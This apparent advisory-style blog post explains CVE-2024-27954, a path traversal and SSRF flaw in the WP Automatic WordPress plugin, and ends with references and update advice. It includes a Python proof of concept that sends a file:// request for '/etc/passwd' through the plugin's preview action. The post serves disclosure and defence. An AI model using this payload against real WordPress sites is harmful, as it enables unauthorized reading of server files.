CVE-2024-27954 - WP Automatic Path Traversal and Server Side Request Forgery Vulnerability

In this post, we will discuss an important vulnerability discovered in WP Automatic - a popular WordPress plugin. The vulnerability, designated as CVE-2024-27954, allows an attacker to exploit a path traversal and server-side request forgery (SSRF) in WP Automatic. This issue is found to impact versions from n/a to 3.92..

We'll cover the details about the vulnerability, its impact on WP Automatic, and provide links to the original references. Furthermore, we'll also provide a code snippet demonstrating a potential exploitation method.

Vulnerability Details

CVE-2024-27954 is a Path Traversal and Server Side Request Forgery (SSRF) vulnerability in WP Automatic, the popular WordPress plugin. The vulnerability stems from an improper limitation of a pathname to a restricted directory ('Path Traversal').

Path traversal can lead attackers to access arbitrary files and directories stored on the system. Meanwhile, the SSRF vulnerability allows an attacker to trigger malicious requests from the server, potentially gaining access to sensitive information or causing a denial of service (DoS) attack.

The following code snippet shows a possible way to exploit the vulnerability

import requests

# target URL
url = "<target_url>"
# attacker controlled file path
path_to_vulnerable_file = "../../../../etc/passwd"

# payload
data = {
  "action": "wp_automatic_preview",
  "url": "file://" + path_to_vulnerable_file,
}

# send request
response = requests.post(url, data=data)
print(response.text)

In this code snippet, the attacker crafts a malicious payload and sends it to the target URL. The payload includes a request for a specific file ('/etc/passwd') stored on the server using the form of a "file://" URL. If successful, the attacker can gain unauthorized access to sensitive system files and other directories.

References

1. Original WP Automatic plugin repository: https://wordpress.org/plugins/wp-automatic/
2. WP Automatic Vulnerability Disclosure (CVE-2024-27954): https://nvd.nist.gov/vuln/detail/CVE-2024-27954
3. Path Traversal Explanation: https://owasp.org/www-community/attacks/Path_Traversal
4. Server Side Request Forgery (SSRF) Explanation: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

Conclusion

CVE-2024-27954 is a critical vulnerability affecting WP Automatic versions from n/a to 3.92., allowing attackers to exploit path traversal and server-side request forgery (SSRF) vulnerabilities. It's crucial for WP Automatic users to update their plugin to the latest version to mitigate these risks.

Developers must be vigilant in following best practices for securing their plugins, such as input validation and output encoding, to prevent vulnerabilities like Path Traversal and SSRF from being exploited by attackers.

Timeline

Published on: 05/17/2024 09:15:26 UTC
Last modified on: 05/17/2024 18:36:05 UTC